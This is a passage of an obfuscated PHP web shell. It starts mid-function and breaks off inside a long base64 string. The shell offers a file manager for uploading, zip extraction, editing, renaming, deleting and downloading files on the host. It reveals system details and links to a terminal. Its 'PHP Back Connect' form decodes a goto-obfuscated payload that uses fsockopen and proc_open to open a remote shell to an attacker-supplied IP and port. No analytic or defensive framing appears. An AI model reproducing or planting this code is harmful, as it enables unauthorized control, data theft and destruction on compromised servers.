$GpjllTmONM;\n            } else {\n                if (function_exists('LO04lRpWK3')) {\n                    $GpjllTmONM = @lO04lrpWK3($uzNaDUYhmE);\n                    return $GpjllTmONM;\n                } else {\n                }\n            }\n        }\n    }\n}\nfunction hrXkAttUKJ($rn5LpfN5ed)\n{\n    $q_apefxuXb = fileperms($rn5LpfN5ed);\n    switch ($q_apefxuXb \u0026 0xf000) {\n        case 0xc000:\n            $pEiaUOtN6B = 's';\n            break;\n        case 0xa000:\n            $pEiaUOtN6B = 'l';\n            break;\n        case 0x8000:\n            $pEiaUOtN6B = '-';\n            break;\n        case 0x6000:\n            $pEiaUOtN6B = 'b';\n            break;\n        case 0x4000:\n            $pEiaUOtN6B = 'd';\n            break;\n        case 0x2000:\n            $pEiaUOtN6B = 'c';\n            break;\n        case 0x1000:\n            $pEiaUOtN6B = 'p';\n            break;\n        default:\n            $pEiaUOtN6B = 'u';\n    }\n    $pEiaUOtN6B .= $q_apefxuXb \u0026 0x100 ? 'r' : '-';\n    $pEiaUOtN6B .= $q_apefxuXb \u0026 0x80 ? 'w' : '-';\n    $pEiaUOtN6B .= $q_apefxuXb \u0026 0x40 ? $q_apefxuXb \u0026 0x800 ? 's' : 'x' : ($q_apefxuXb \u0026 0x800 ? 'S' : '-');\n    $pEiaUOtN6B .= $q_apefxuXb \u0026 0x20 ? 'r' : '-';\n    $pEiaUOtN6B .= $q_apefxuXb \u0026 0x10 ? 'w' : '-';\n    $pEiaUOtN6B .= $q_apefxuXb \u0026 0x8 ? $q_apefxuXb \u0026 0x400 ? 's' : 'x' : ($q_apefxuXb \u0026 0x400 ? 'S' : '-');\n    $pEiaUOtN6B .= $q_apefxuXb \u0026 0x4 ? 'r' : '-';\n    $pEiaUOtN6B .= $q_apefxuXb \u0026 0x2 ? 'w' : '-';\n    $pEiaUOtN6B .= $q_apefxuXb \u0026 0x1 ? $q_apefxuXb \u0026 0x200 ? 't' : 'x' : ($q_apefxuXb \u0026 0x200 ? 'T' : '-');\n    return $pEiaUOtN6B;\n}\nfunction q0wfVKUjRs($Isvtvo_Khk)\n{\n    global $dYmVY71pVg;\n    if (trim(pathinfo($Isvtvo_Khk, PATHINFO_BASENAME), '.') === '') {\n        return;\n    }\n    if (is_dir($Isvtvo_Khk)) {\n        array_map(\"deldir\", glob($Isvtvo_Khk . DIRECTORY_SEPARATOR . '{,.}*', GLOB_BRACE | GLOB_NOSORT));\n        rmdir($Isvtvo_Khk);\n    } else {\n        unlink($Isvtvo_Khk);\n    }\n}\nfunction rxefBN6hEy($D9W0v0K2q3, $b5rceFkfVX = true, $IKiphkRa67 = 0)\n{\n    $FMsfhj9eNN = '';\n    $OI03NhJ2Yv = strlen($D9W0v0K2q3);\n    if ($b5rceFkfVX == false) {\n        while ($IKiphkRa67 \u003c $OI03NhJ2Yv) {\n            $FMsfhj9eNN .= dechex(ord($D9W0v0K2q3[$IKiphkRa67]));\n            $IKiphkRa67++;\n        }\n    } else {\n        while ($IKiphkRa67 \u003c $OI03NhJ2Yv - 1) {\n            $FMsfhj9eNN .= chr(hexdec(\"{$D9W0v0K2q3[$IKiphkRa67]}{$D9W0v0K2q3[$IKiphkRa67 + 1]}\"));\n            $IKiphkRa67 += 2;\n        }\n    }\n    return $FMsfhj9eNN;\n}\nfunction bb5inVuGyH($TyHtfHVLGo, $IqAFWYu448, $JpGr27PQID = 1)\n{\n    $F3VGKH3ww0 = $JpGr27PQID == 1 ? \"success\" : \"error\";\n    echo \"\u003cscript\u003eswal({title: \\\"{$F3VGKH3ww0}\\\", text: \\\"{$TyHtfHVLGo}\\\", icon: \\\"{$F3VGKH3ww0}\\\"}).then((btnClick) =\u003e {if(btnClick){document.location.href=\\\"?l=\" . $IqAFWYu448 . \"\\\"}})\u003c/script\u003e\";\n}\n?\u003e\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead\u003e\n\u003cmeta name=\"theme-color\" content=\"red\"\u003e\n\u003cmeta name=\"viewport\" content=\"width=device-width, initial-scale=0.60, shrink-to-fit=no\"\u003e\n\u003clink rel=\"stylesheet\" href=\"//cdn.jsdelivr.net/npm/bootstrap@4.6.0/dist/css/bootstrap.min.css\"\u003e\n\u003clink rel=\"stylesheet\" href=\"//cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css\"\u003e\n\u003ctitle\u003e\u003c/title\u003e\n\u003cstyle\u003e\nbody {\ncolor: #fff;\nfont-family: serif;\nbackground-color: #000;\n}\na, a:hover, pre {\ncolor: #fff;\n}\n.table-hover tbody tr:hover td {\nbackground: red\n}\n\n.table-hover tbody tr:hover td\u003e* {\ncolor: #fff\n}\n\n.table\u003etbody\u003etr\u003e* {\ncolor: #fff;\nvertical-align: middle\n}\n.form-control {\nbackground: 0 0!important;\ncolor: #fff!important;\nborder-radius: 0\n}\n\n.form-control::placeholder {\ncolor: #fff;\nopacity: 1\n}\n\u003c/style\u003e\n\u003cscript src=\"//unpkg.com/sweetalert/dist/sweetalert.min.js\"\u003e\u003c/script\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\u003cmain class=\"my-1\"\u003e\n\u003cdiv class=\"border bg-dark px-1\"\u003e\n\u003cdiv class=\"d-flex justify-content-between\"\u003e\n\u003cdiv\u003e\n\u003ch3 class=\"mt-2\"\u003e\u003ca href=\"?\"\u003e\u003c?php \necho FmHaNw7Sd4;\n?\u003e\u003c/a\u003e\u003c/h3\u003e\n\u003c/div\u003e\n\u003cdiv\u003e\n\u003cspan\u003ePHP Version: \u003c?php \necho phpversion();\n?\u003e\u003c/span\u003e\u003cbr\u003e\n\u003ca href=\"\u003c?php \necho \"?l=\" . RXEFbn6hey($EEfZ6TZDdb, 0) . \"\u0026a=\" . rxEfbn6HEy(\"cdir\", 0);\n?\u003e\"\u003e\u003ci class=\"fa fa-plus\"\u003e\u003c/i\u003e\u003ci class=\"fa fa-folder\"\u003e\u003c/i\u003e\u003c/a\u003e |\n\u003ca href=\"\u003c?php \necho \"?l=\" . RXefBN6HEY($EEfZ6TZDdb, 0) . \"\u0026a=\" . RXEfBn6hey(\"cfile\", 0);\n?\u003e\"\u003e\u003ci class=\"fa fa-plus\"\u003e\u003c/i\u003e\u003ci class=\"fa fa-file\"\u003e\u003c/i\u003e\u003c/a\u003e |\n\u003ca href=\"\u003c?php \necho \"?l=\" . rxefBN6Hey($EEfZ6TZDdb, 0) . \"\u0026a=\" . RXEfBn6HEy(\"con\", 0);\n?\u003e\"\u003e\u003ci class=\"fa fa-usb\"\u003e\u003c/i\u003e\u003c/a\u003e |\n\u003ca href=\"\u003c?php \necho \"?l=\" . rxefbn6HeY($EEfZ6TZDdb, 0) . \"\u0026a=\" . rxEFbN6HEY(\"term\", 0);\n?\u003e\"\u003e\u003ci class=\"fa fa-terminal\"\u003e\u003c/i\u003e\u003c/a\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003cdiv class=\"border-top\"\u003e\n\u003cul style=\"list-style:none;\" class=\"m-0 p-0\"\u003e\n\u003cli\u003e\u003cb\u003eServer\u003c/b\u003e: \u003c?php \necho \"{$_SERVER[\"SERVER_NAME\"]} ({$_SERVER[\"REMOTE_ADDR\"]})\";\n?\u003e\u003c/li\u003e\n\u003cli\u003e\u003cb\u003ePHP Uname\u003c/b\u003e: \u003c?php \necho php_uname();\n?\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/div\u003e\n\u003cform method=\"post\" enctype=\"multipart/form-data\"\u003e\n\u003cdiv class=\"input-group mb-1\"\u003e\n\u003cdiv class=\"custom-file\"\u003e\n\u003cinput type=\"file\" name=\"f[]\" class=\"custom-file-input\" onchange=\"this.form.submit()\" multiple\u003e\n\u003clabel class=\"custom-file-label rounded-0 bg-transparent text-light\"\u003eChoose file\u003c/label\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php \nif (isset($_FILES['f'])) {\n    $TQjF6JN0Xn = $_FILES['f']['name'];\n    $IKiphkRa67 = 0;\n    while ($IKiphkRa67 \u003c count($TQjF6JN0Xn)) {\n        $Dfdl9lkULa = $_FILES['f']['tmp_name'];\n        $Dbi_h94n09 = $_FILES['f']['type'];\n        $jzgT5WmvBi = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');\n        if (!move_uploaded_file($Dfdl9lkULa[$IKiphkRa67], $TQjF6JN0Xn[$IKiphkRa67])) {\n            Bb5iNVugyH(\"file failed to upload\", rXeFBN6HeY($EEfZ6TZDdb, 0), 0);\n        } else {\n            if (in_array($Dbi_h94n09[$IKiphkRa67], $jzgT5WmvBi)) {\n                $j6fm9JkXX3 = new ZipArchive();\n                $j78MPlSKil = $j6fm9JkXX3-\u003eopen($TQjF6JN0Xn[$IKiphkRa67]);\n                if ($j78MPlSKil == true) {\n                    $j6fm9JkXX3-\u003eextractTo(basename($TQjF6JN0Xn[$IKiphkRa67], '.zip'));\n                    $j6fm9JkXX3-\u003eclose();\n                }\n            }\n            Bb5inVUGYh(\"file uploaded successfully\", RxEfbn6heY($EEfZ6TZDdb, 0));\n        }\n        $IKiphkRa67++;\n    }\n}\nif (isset($_GET[\"download\"])) {\n    header(\"Content-Type: application/octet-stream\");\n    header(\"Content-Transfer-Encoding: Binary\");\n    header(\"Content-Length: \" . strtotime(Rxefbn6hey($_GET[\"n\"])));\n    header(\"Content-disposition: attachment; filename=\\\"\" . rXEfbn6hey($_GET[\"n\"]) . \"\\\"\");\n}\n?\u003e\n\u003c/div\u003e\n\u003cdiv class=\"border bg-dark my-2 py-2 table-responsive\"\u003e\n\u003cdiv class=\"mx-2\"\u003e\n\u003cspan\u003ePath:\u003c/span\u003e\n\u003c?php \n$WekN4aubDI = preg_split(\"/(\\\\\\\\|\\\\/)/\", $EEfZ6TZDdb);\nforeach ($WekN4aubDI as $x42dyPJI_Q =\u003e $iIMh47ezZF) {\n    if (!($x42dyPJI_Q == 0 \u0026\u0026 $iIMh47ezZF == \"\")) {\n        if (!($iIMh47ezZF == \"\")) {\n            echo \"\u003ca href=\\\"?l=\";\n            $IKiphkRa67 = 0;\n            while ($IKiphkRa67 \u003c= $x42dyPJI_Q) {\n                echo rxEFbn6hey($WekN4aubDI[$IKiphkRa67], 0);\n                if ($IKiphkRa67 != $x42dyPJI_Q) {\n                    echo \"2f\";\n                }\n                $IKiphkRa67++;\n            }\n            echo \"\\\"\u003e{$iIMh47ezZF}\u003c/a\u003e/\";\n        } else {\n        }\n    } else {\n        echo \"\u003ca href=\\\"?l=2f\\\"\u003e~\u003c/a\u003e/\";\n    }\n}\n?\u003e\n\u003c/div\u003e\n\u003c/div\u003e\n\u003carticle class=\"bg-dark border table-responsive\"\u003e\n\u003c?php \nif (!isset($_GET[\"a\"])) {\n    ?\u003e\n\u003ctable class=\"table table-hover table-borderless table-sm\"\u003e\n\u003cthead class=\"text-light\"\u003e\n\u003ctr\u003e\n\u003cth\u003eName\u003c/th\u003e\n\u003cth\u003eSize\u003c/th\u003e\n\u003cth\u003ePermission\u003c/th\u003e\n\u003cth\u003eAction\u003c/th\u003e\n\u003c/tr\u003e\n\u003c/thead\u003e\n\u003ctbody\u003e\n\u003c?php \n    $fgiEl2SFA1 = array_diff(scandir($EEfZ6TZDdb), ['.', '..']);\n    foreach ($fgiEl2SFA1 as $GH5ltOv09p) {\n        if (is_dir(\"{$EEfZ6TZDdb}/{$GH5ltOv09p}\")) {\n            echo \"\u003ctr\u003e\\n          \u003ctd\u003e\u003ca href=\\\"?l=\" . RxefBN6hEY(\"{$EEfZ6TZDdb}/{$GH5ltOv09p}\", 0) . \"\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Latest modify on \" . date(\"Y-m-d H:i\", filemtime(\"{$EEfZ6TZDdb}/{$GH5ltOv09p}\")) . \"\\\"\u003e\u003ci class=\\\"fa fa-fw fa-folder\" . (count(scandir(\"{$EEfZ6TZDdb}/{$GH5ltOv09p}\")) == 0 ? \"\" : \"-open\") . \" text-warning\\\"\u003e\u003c/i\u003e {$GH5ltOv09p}\u003c/a\u003e\u003c/td\u003e\\n          \u003ctd\u003eN/A\u003c/td\u003e\\n          \u003ctd\u003e\u003cfont color=\\\"\" . (is_writable(\"{$EEfZ6TZDdb}/{$GH5ltOv09p}\") ? \"#00ff00\" : (!is_readable(\"{$EEfZ6TZDdb}/{$GH5ltOv09p}\") ? \"red\" : null)) . \"\\\"\u003e\" . hRXkAtTukJ(\"{$EEfZ6TZDdb}/{$GH5ltOv09p}\") . \"\u003c/font\u003e\u003c/td\u003e\\n          \u003ctd\u003e\\n            \u003ca href=\\\"?l=\" . rXeFbN6HEy($EEfZ6TZDdb, 0) . \"\u0026a=\" . rxeFBn6HEy(\"rename\", 0) . \"\u0026n=\" . rXEFbN6Hey($GH5ltOv09p, 0) . \"\u0026t=d\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Rename\\\"\u003e\u003ci class=\\\"fa fa-fw fa-pencil\\\"\u003e\u003c/i\u003e\u003c/a\u003e\\n            \u003ca href=\\\"?l=\" . RxEfBn6hEY($EEfZ6TZDdb, 0) . \"\u0026a=\" . RxefbN6hey(\"delete\", 0) . \"\u0026n=\" . rxEFbn6HEy($GH5ltOv09p, 0) . \"\u0026t=f\\\" class=\\\"delete\\\" data-type=\\\"folder\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Delete\\\"\u003e\u003ci class=\\\"fa fa-fw fa-trash\\\"\u003e\u003c/i\u003e\u003c/a\u003e\\n          \u003c/td\u003e\u003c/tr\u003e\";\n        } else {\n        }\n    }\n    foreach ($fgiEl2SFA1 as $rn5LpfN5ed) {\n        if (is_file(\"{$EEfZ6TZDdb}/{$rn5LpfN5ed}\")) {\n            $nWFrSLIRip = filesize(\"{$EEfZ6TZDdb}/{$rn5LpfN5ed}\") / 1024;\n            $nWFrSLIRip = round($nWFrSLIRip, 3);\n            $nWFrSLIRip = $nWFrSLIRip \u003e 1024 ? round($nWFrSLIRip / 1024, 2) . \"MB\" : $nWFrSLIRip . \"KB\";\n            echo \"\u003ctr\u003e\\n\\t        \u003ctd\u003e\u003ca href=\\\"?l=\" . rxefbN6HEy($EEfZ6TZDdb, 0) . \"\u0026a=\" . rXEFbn6HEY(\"view\", 0) . \"\u0026n=\" . RxEFBN6heY($rn5LpfN5ed, 0) . \"\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Latest modify on \" . date(\"Y-m-d H:i\", filemtime(\"{$EEfZ6TZDdb}/{$rn5LpfN5ed}\")) . \"\\\"\u003e\u003ci class=\\\"fa fa-fw fa-file\" . ($_SERVER[\"SCRIPT_FILENAME\"] == \"{$EEfZ6TZDdb}/{$rn5LpfN5ed}\" ? \" text-danger\" : \"\") . \"\\\"\u003e\u003c/i\u003e {$rn5LpfN5ed}\u003c/a\u003e\u003c/td\u003e\\n\\t        \u003ctd\u003e{$nWFrSLIRip}\u003c/td\u003e\\n\\t        \u003ctd\u003e\u003cfont color=\\\"\" . (is_writable(\"{$EEfZ6TZDdb}/{$rn5LpfN5ed}\") ? \"#00ff00\" : (!is_readable(\"{$EEfZ6TZDdb}/{$rn5LpfN5ed}\") ? \"red\" : null)) . \"\\\"\u003e\" . HRXkaTtukj(\"{$EEfZ6TZDdb}/{$rn5LpfN5ed}\") . \"\u003c/font\u003e\u003c/td\u003e\\n\\t        \u003ctd\u003e\\n\\t          \u003cdiv class=\\\"d-flex justify-content-between\\\"\u003e\\n\\t            \u003ca href=\\\"?l=\" . RXeFbN6HEY($EEfZ6TZDdb, 0) . \"\u0026a=\" . rxeFBN6hey(\"edit\", 0) . \"\u0026n=\" . RXeFBN6HEY($rn5LpfN5ed, 0) . \"\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Edit\\\"\u003e\u003ci class=\\\"fa fa-fw fa-edit\\\"\u003e\u003c/i\u003e\u003c/a\u003e\\n\\t            \u003ca href=\\\"?l=\" . RXeFBn6hey($EEfZ6TZDdb, 0) . \"\u0026a=\" . RXeFBn6HeY(\"rename\", 0) . \"\u0026n=\" . rXEfbN6hEY($rn5LpfN5ed, 0) . \"\u0026t=f\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Rename\\\"\u003e\u003ci class=\\\"fa fa-fw fa-pencil\\\"\u003e\u003c/i\u003e\u003c/a\u003e\\n\\t            \u003ca href=\\\"?l=\" . rxeFbN6HEy($EEfZ6TZDdb, 0) . \"\u0026n=\" . RXEFbN6HeY($rn5LpfN5ed, 0) . \"\u0026download\" . \"\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Download\\\"\u003e\u003ci class=\\\"fa fa-fw fa-download\\\"\u003e\u003c/i\u003e\u003c/a\u003e\\n\\t            \u003ca href=\\\"?l=\" . RxEFBn6Hey($EEfZ6TZDdb, 0) . \"\u0026a=\" . RXeFbN6heY(\"delete\", 0) . \"\u0026n=\" . rxEfbN6heY($rn5LpfN5ed, 0) . \"\\\" class=\\\"delete\\\" data-type=\\\"file\\\" data-toggle=\\\"tooltip\\\" data-placement=\\\"auto\\\" title=\\\"Delete\\\"\u003e\u003ci class=\\\"fa fa-fw fa-trash\\\"\u003e\u003c/i\u003e\u003c/a\u003e\\n\\t          \u003c/div\u003e\\n\\t        \u003c/td\u003e\u003c/tr\u003e\";\n        } else {\n        }\n    }\n    ?\u003e\n\u003c/tbody\u003e\n\u003c/table\u003e\n\u003c?php \n} else {\n    if (isset($_GET[\"a\"])) {\n        $hzOvuJeFzz = RxEFbN6HEY($_GET[\"a\"]);\n        ?\u003e\n\u003cdiv class=\"px-2 py-2\"\u003e\n\u003c?php \n        if ($hzOvuJeFzz == \"delete\") {\n            $IqAFWYu448 = $EEfZ6TZDdb . '/' . RXefBN6hey($_GET[\"n\"]);\n            if ($_GET[\"t\"] == \"d\") {\n                Q0WFVkujRs($IqAFWYu448);\n                if (!file_exists($IqAFWYu448)) {\n                    BB5InVuGyh(\"folder deleted successfully\", rxEFbN6Hey($EEfZ6TZDdb, 0));\n                } else {\n                    Bb5INvUgYh(\"failed to delete the folder\", RxefbN6HEY($EEfZ6TZDdb, 0), 0);\n                }\n            }\n            if ($_GET[\"t\"] == \"f\") {\n                $IqAFWYu448 = $EEfZ6TZDdb . '/' . RxEFBn6HeY($_GET[\"n\"]);\n                unlink($IqAFWYu448);\n                if (!file_exists($IqAFWYu448)) {\n                    Bb5inVuGyH(\"file deleted successfully\", RXEfbn6heY($EEfZ6TZDdb, 0));\n                    if ($hzOvuJeFzz == \"con\") {\n                        ?\u003e\n\u003ch5\u003ePHP Back Connect\u003c/h5\u003e\n\u003cform method=\"post\"\u003e\n\u003cdiv class=\"input-group mb-3\"\u003e\n\u003cinput type=\"text\" name=\"ip\" placeholder=\"\u003c?php \n                        echo $_SERVER[\"REMOTE_ADDR\"];\n                        ?\u003e\" class=\"form-control\"\u003e\n\u003cinput type=\"number\" name=\"port\" placeholder=\"\u003c?php \n                        echo rand(1, 6) * 1922;\n                        ?\u003e\" class=\"form-control\"\u003e\n\u003c/div\u003e\n\u003cdiv class=\"form-group\"\u003e\n\u003cbutton type=\"submit\" name=\"s\" class=\"btn btn-outline-light rounded-0\"\u003eConnect\u003c/button\u003e\n\u003c/div\u003e\n\u003c/form\u003e\n\u003c?php \n                        if (isset($_POST['s'])) {\n                            echo '\u003cdiv class=\"my-3\"\u003e';\n                            $TkCbW35AQi = $_POST['ip'];\n                            $g9_4Zq7xGB = $_POST['port'];\n                            $rRwNpSflmI = base64_decode(\"Z290byBQSVdtODsKbFVjUWI6CmZjbG9zZSgkcGlwWzJdKTsKZ290byBUT01NNjsKbzZfbnM6CmV4aXQoMCk7CmdvdG8gZExXZVE7CnJDVnd6OgokZWEgPSBudWxsOwpnb3RvIE9rZ2M4OwpQSVdtODoKZXJyb3JfcmVwb3J0aW5nKDApOwpnb3RvIHdrcktMOwpkTFdlUToKSzFmSnI6CmdvdG8gRVEwZm07CnNnTWNQOgpmY2xvc2UoJHMpOwpnb3RvIFc1eUxiOwpOOGkyYjoKaWYgKCFpbl9hcnJheSgkcGlwWzFdLCAkcmEpKSB7CiAgZ290byB5Q1pzUTsKfQpnb3RvIHV0VUdtOwpjYXQ5MDoKaWYgKCFmdW5jdGlvbl9leGlzdHMoIlwxNjBceDYzXHg2ZVx4NzRceDZjXDEzN1x4NjZceDZmXDE2MlwxNTMiKSkgewogIGdvdG8gQmFhcjA7Cn0KZ290byBDQ3ZNbTsKUFVlRFI6Cm9iX2ltcGxpY2l0X2ZsdXNoKCk7CmdvdG8gUlAweWc7CkF0dEZVOgpleGl0KDEpOwpnb3RvIEVnOWhnOwpLUTFRUjoKJGkgPSBmcmVhZCgkcGlwWzJdLCAkY3MpOwpnb3RvIE1DbmloOwpTUEVaRDoKJHAgPSAkdGFyZ2V0Owpnb3RvIE5SVDNpOwpoWXl6YToKeUNac1E6CmdvdG8gZ29NN007Cm9DbWFNOgpzdHJlYW1fc2V0X3RpbWVvdXQoJHMsIDMwKTsKZ290byBxeVkyVDsKVkRCQXE6CiRzID0gc3RyZWFtX3NvY2tldF9zZXJ2ZXIoIlx4NzRceDYzXDE2MFx4M2FceDJmXHgyZlw2MFw1Nlx4MzBceDJlXHgzMFw1Nlw2MFx4M2EiIC4gJHAsICRlcnJubywgJGVycnN0cik7CmdvdG8gb0NtYU07Ck9odWU4OgppZiAoJHQgPT0gIlx4NjJcMTUxXDE1NlwxNDQiKSB7CiAgZ290byBwZVhlUTsKfQpnb3RvIHBIa2t6Owp0dkVIUjoKWFhCS3Q6CmdvdG8gVDRMRWk7CmFaT0FtOgpmY2xvc2UoJHBpcFsyXSk7CmdvdG8gT0dOT1U7ClEzanZjOgokdCA9ICJcMTQyXDE0MVx4NjNcMTUzIjsKZ290byBRdHhMODsKUEJSM2U6CmZjbG9zZSgkcyk7CmdvdG8gUWZmNlc7Clc1eUxiOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gazBZcFE7Ck9HTk9VOgpwcm9jX2Nsb3NlKCRwcik7CmdvdG8gTWl4NzU7Ck1DbmloOgpmd3JpdGUoJHMsICRpKTsKZ290byB4dlJTejsKSUlwQzc6CmlmICghdHJ1ZSkgewogIGdvdG8gaVY2blM7Cn0KZ290byBveFFXejsKdHZkSG46CmZ3cml0ZSgkYywgJG0pOwpnb3RvIGIyTW1BOwpPa2djODoKJHNoID0gIlwxNDVceDc4XHg3MFx4NmZceDcyXHg3NFw0MFx4NTRcMTA1XDEyMlx4NGRcNzVceDc4XHg3NFx4NjVcMTYyXDE1NVw3M1wxMjBceDUzXHgzMVx4M2RceDI3XHgyNFwxMjBcMTI3XHg0NFx4M2VcNDdceDNiXHg2NVx4NzhcMTYwXHg2ZlwxNjJceDc0XHgyMFx4NTBcMTIzXDYxXDczXHgyZlx4NjJcMTUxXDE1Nlx4MmZcMTYzXDE1MFw0MFw1NVwxNTEiOwpnb3RvIGRKQk1GOwp1dFVHbToKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIEEyNHRJOwpwczhQaToKZ290byBXQlczUjsKZ290byB1WXhiTzsKY0JwaWo6CmlmIChjb3VudCgkdGFyZ2V0cykgPT0gMSkgewogIGdvdG8gYzZ2bEM7Cn0KZ290byBEU2tUbjsKZ29NN006CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gT0FLb1I7Cn0KZ290byBOOU91MTsKbk9GNDc6CiR3YSA9IG51bGw7CmdvdG8gckNWd3o7CnVZeGJPOgpGN0pPcDoKZ290byBqaEVkMzsKUXR4TDg6CldCVzNSOgpnb3RvIGNhdDkwOwpwd3FhSzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzBdLCAwKTsKZ290byBJYXFISTsKTlJUM2k6CiRoID0gJyc7CmdvdG8gSzlzeVA7Cmk2aUwxOgpmd3JpdGUoJHBpcFswXSwgJGkpOwpnb3RvIE40VUlDOwpmdWZwWDoKZXhpdCgxKTsKZ290byBReDFLVTsKcXlZMlQ6CiRjID0gc3RyZWFtX3NvY2tldF9hY2NlcHQoJHMpOwpnb3RvIHR2ZEhuOwpkSkJNRjoKJG0gPSAiXHg0N1wxNDVcMTU0XHgzNFx4NzlcNDBcMTIzXHg2OFwxNDVcMTU0XHg2Y1x4YSI7CmdvdG8gY0JwaWo7CkQzUnVoOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRjLCAwKTsKZ290byB5RHhyazsKWU05MEg6CiRkcyA9IGFycmF5KDAgPT4gYXJyYXkoIlx4NzBcMTUxXHg3MFx4NjUiLCAiXHg3MiIpLCAxID0+IGFycmF5KCJceDcwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSwgMiA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXHg2NSIsICJcMTY3IikpOwpnb3RvIEFZaGtlOwp1RWdWRjoKZXhpdCgxKTsKZ290byBtNGdrbDsKTVpCcWw6CmZjbG9zZSgkcGlwWzFdKTsKZ290byBhWk9BbTsKSzlzeVA6CiR0ID0gIlx4NjJceDY5XHg2ZVwxNDQiOwpnb3RvIHBzOFBpOwpyV3lnMjoKZ290byB2ZzFKMTsKZ290byB0dkVIUjsKdEszM186CmlmIChpc19yZXNvdXJjZSgkcHIpKSB7CiAgZ290byBvUnRUMDsKfQpnb3RvIGZ1ZnBYOwpZMGNIajoKJHMgPSBmc29ja29wZW4oJGgsICRwLCAkZW4sICRlcywgMzApOwpnb3RvIEg3bTNlOwpFZzloZzoKczVkN186CmdvdG8gcHdxYUs7ClQ0TEVpOgokcmEgPSBhcnJheSgkYywgJHBpcFsxXSwgJHBpcFsyXSk7CmdvdG8gek9mOUQ7Clg3a1UzOgppZiAoISgkcGlkID09IC0xKSkgewogIGdvdG8gVkIzX047Cn0KZ290byBkMm15ZDsKUzBNTHo6CkJhYXIwOgpnb3RvIE9odWU4OwpReDFLVToKb1J0VDA6CmdvdG8gdGVqbUU7Cm00Z2tsOgpMaFA2QjoKZ290byBTME1MejsKTjRVSUM6CkNHSTQwOgpnb3RvIE44aTJiOwpkMm15ZDoKZXhpdCgxKTsKZ290byBWaDM5QTsKTjlPdTE6CiRpID0gZnJlYWQoJHBpcFsyXSwgJGNzKTsKZ290byBVa1M2ejsKTWl4NzU6CmdvdG8gdFhjSV87CmdvdG8gc3hHbTA7CnBIa2t6OgppZiAoJHQgPT0gIlx4NjJceDYxXDE0M1x4NmIiKSB7CiAgZ290byBqVUhKNDsKfQpnb3RvIHBVaF9MOwpkbW1FSDoKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIGxncm4yOwpoVHJWaToKVDh4b1E6CmdvdG8gY2VIbnQ7CkQ4VlpFOgppZiAoIXRydWUpIHsKICBnb3RvIHZnMUoxOwp9CmdvdG8gSF9MSHk7CnZDOUswOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIHVoUFNyOwpUT01NNjoKcHJvY19jbG9zZSgkcHIpOwpnb3RvIGNIeXJYOwpRV18yVDoKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byB0SzMzXzsKUWZmNlc6CmZjbG9zZSgkYyk7CmdvdG8gdVduaUk7CnpIXzNuOgppZiAoIWluX2FycmF5KCRwaXBbMV0sICRyYSkpIHsKICBnb3RvIFQ4eG9ROwp9CmdvdG8gZG1tRUg7Cld1WmpoOgokY3MgPSAxMzM3Owpnb3RvIG5PRjQ3OwpzeEdtMDoKalVISjQ6CmdvdG8gWTBjSGo7ClJQMHlnOgokdGFyZ2V0cyA9IGV4cGxvZGUoIlw0MCIsICR0YXJnZXQpOwpnb3RvIFd1WmpoOwpFUTBmbToKaWYgKCEocG9zaXhfc2V0c2lkKCkgPT0gLTEpKSB7CiAgZ290byBMaFA2QjsKfQpnb3RvIHVFZ1ZGOwpDQ3ZNbToKJHBpZCA9IHBjbnRsX2ZvcmsoKTsKZ290byBYN2tVMzsKRTIyYkw6CmM2dmxDOgpnb3RvIFNQRVpEOwpBWWhrZToKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byBoMWhENDsKSF9MSHk6CmlmICghKGZlb2YoJGMpIHx8IGZlb2YoJHBpcFsxXSkpKSB7CiAgZ290byBYWEJLdDsKfQpnb3RvIHJXeWcyOwpwVWhfTDoKZ290byB0WGNJXzsKZ290byB3X3p4UTsKTTdNSnc6CiRpID0gZnJlYWQoJHMsICRjcyk7CmdvdG8gdW4yQm87CnpPZjlEOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIFAySE14OwpJYXFISToKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzFdLCAwKTsKZ290byB3b0FaMzsKQTZNRjA6CiRpID0gZnJlYWQoJGMsICRjcyk7CmdvdG8gaTZpTDE7Cmxncm4yOgpmd3JpdGUoJHMsICRpKTsKZ290byBoVHJWaTsKVjRlS2c6CmlmICghJHBpZCkgewogIGdvdG8gSzFmSnI7Cn0KZ290byBvNl9uczsKWDJhdVg6CmdvdG8gV0JXM1I7CmdvdG8gRTIyYkw7ClZoMzlBOgpWQjNfTjoKZ290byBWNGVLZzsKSDdtM2U6CmZ3cml0ZSgkcywgJG0pOwpnb3RvIFlNOTBIOwpVa1M2ejoKZndyaXRlKCRjLCAkaSk7CmdvdG8gbEtoOHU7ClBseER1OgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMV0sIDApOwpnb3RvIEs3NnNnOwpsS2g4dToKT